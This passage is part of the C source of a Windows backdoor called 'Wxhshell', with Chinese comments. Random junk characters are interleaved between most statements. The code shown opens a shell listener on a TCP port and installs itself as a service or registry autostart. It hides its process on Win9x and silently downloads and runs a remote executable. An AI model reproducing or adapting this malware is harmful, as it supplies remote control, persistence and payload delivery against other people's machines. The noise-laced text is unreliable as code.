u CloseHandle(hProcess); "f!H[F1~ wx/*un%2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]D>\Z(b if(hProcess==NULL) return 0; H"JzTo8u I&&[ ': HMODULE hMod; s9b+uUt% char procName[255]; K}dvXO@=|c unsigned long cbNeeded; 8(@(G_skp v00w
GOpW if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cm6%wAzC >
8!9 CloseHandle(hProcess); Eye.#~ $=!_ !tr if(strstr(procName,"services")) return 1; // 以服务启动 8 }OII\ >@|XY< return 0; // 注册表启动 4^w`]m } /pgn?e'lk 4V
5 // 主模块 ,h9N,bIQg int StartWxhshell(LPSTR lpCmdLine) 3AC/;WB9 { LyT[ SOCKET wsl; nxx&aq(._ BOOL val=TRUE; &Y8S! W@4 int port=0; X|pOw," struct sockaddr_in door; &Ht5!zuW, K1|xatx1V if(wscfg.ws_autoins) Install(); `yua?n R` >z>!) port=atoi(lpCmdLine); `< cn +Ft@S(IE if(port<=0) port=wscfg.ws_port; Pu0O6@Rg s#C~HK WSADATA data; !L55S03 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {edjvPlk d7!, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; af;~<oa setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j?oh~7Ki door.sin_family = AF_INET; MN. $a9m door.sin_addr.s_addr = inet_addr("127.0.0.1"); JQ"w{O door.sin_port = htons(port); Q$=X
?{ drf?7%v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
T.#Vma closesocket(wsl); \~@a/J return 1; U=\!`_f': } q5ja \ Z'4oE
) if(listen(wsl,2) == INVALID_SOCKET) { DH{^9HK closesocket(wsl); bZzB\FB~ return 1; ]='zY3 } 2:Q2w3Xe Wxhshell(wsl); jun$CY4 WSACleanup(); Pa\"l'!>^ KMogwulG return 0; nkTu/)or u|D|pRM-LT } $"6O92G(hJ ^Jdji: // 以NT服务方式启动 3=xN)j#B VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?'r=>'6D { NE2P
"mY DWORD status = 0; QcG-/_,'} DWORD specificError = 0xfffffff; Avn)%9 "3X~BdH&J serviceStatus.dwServiceType = SERVICE_WIN32; z ,q1TU9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; sAfNu~d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [5sa1$n96G serviceStatus.dwWin32ExitCode = 0; byetbt(IF serviceStatus.dwServiceSpecificExitCode = 0; 3"y,UtKGa serviceStatus.dwCheckPoint = 0; f{eMh47 NC serviceStatus.dwWaitHint = 0; ~_Q1+ax} 55#s/`gd)^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4<Q^/-W if (hServiceStatusHandle==0) return; LyWgaf#/d )$7-CNWr~ status = GetLastError(); "`&1"* if (status!=NO_ERROR) Cqc5jx0) { Tkf
JC|6 serviceStatus.dwCurrentState = SERVICE_STOPPED; f?|cQ[#t!\ serviceStatus.dwCheckPoint = 0; 1a>TJdoa serviceStatus.dwWaitHint = 0; 2UJjYrm serviceStatus.dwWin32ExitCode = status; $~FnBD%|{ serviceStatus.dwServiceSpecificExitCode = specificError; 3}9c0%}F SetServiceStatus(hServiceStatusHandle, &serviceStatus); rf]'VJg#3 return; 7\nR'MOZ } U9eb&nd C3>`e3v serviceStatus.dwCurrentState = SERVICE_RUNNING; ~s4o1^6L serviceStatus.dwCheckPoint = 0; .`Rju|l serviceStatus.dwWaitHint = 0; 8-cCWoc if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \GEf,%U<K } T5b*Ia "D1u2>( // 处理NT服务事件,比如:启动、停止 =!{
E!3>*D VOID WINAPI NTServiceHandler(DWORD fdwControl) 2GC{+* { m6
@,J?X switch(fdwControl) 2~(\d\k { _m2p>(N| case SERVICE_CONTROL_STOP: uA~T.b\ serviceStatus.dwWin32ExitCode = 0; $>=?'wr serviceStatus.dwCurrentState = SERVICE_STOPPED; 0JS#{EDh+ serviceStatus.dwCheckPoint = 0; ,J)wn;@ serviceStatus.dwWaitHint = 0; T\b-<Xle { S"skKh4w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (&^k''f } N~t4qlC/ return; }G53" case SERVICE_CONTROL_PAUSE: 1b4/ serviceStatus.dwCurrentState = SERVICE_PAUSED; |E5\_Z break; 0AWOdd>. case SERVICE_CONTROL_CONTINUE: R-lpsvDDL2 serviceStatus.dwCurrentState = SERVICE_RUNNING; *p Q'w break; O/1:2G/` case SERVICE_CONTROL_INTERROGATE: h}SP` break; q9iHJ'lMD* }; bHf>EU SetServiceStatus(hServiceStatusHandle, &serviceStatus); <yxy ;o } (`me}8 [ 30ta<- // 标准应用程序主函数 sm9/sX! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ngI3.v/R { _Z{EO|L -gK*&n~ // 获取操作系统版本 [,86||^ OsIsNt=GetOsVer(); _KZ&/ GetModuleFileName(NULL,ExeFile,MAX_PATH); H2
Gj(Nc- $3c9iVK~_ // 从命令行安装 Cyu= c1D ; if(strpbrk(lpCmdLine,"iI")) Install(); }Md5a%s< (YC{BM} // 下载执行文件 :HW\awv if(wscfg.ws_downexe) { =
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*g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &8xwR WinExec(wscfg.ws_filenam,SW_HIDE); v{c,>]@ } XS oHh- G%FLt[ if(!OsIsNt) { N.D7 // 如果时win9x,隐藏进程并且设置为注册表启动 x*7Q HideProc(); "HwSW4a] StartWxhshell(lpCmdLine); ^sqTgrG } ##r9/`A else ,:=g}i if(StartFromService()) rJ=r_v // 以服务方式启动 67D{^K"KT StartServiceCtrlDispatcher(DispatchTable); ]TX"BH"2 else I3,0vnE@ // 普通方式启动 r<9G}9 StartWxhshell(lpCmdLine); A!uO7".E )1, U~+JFU return 0; (\M#Ay t) }
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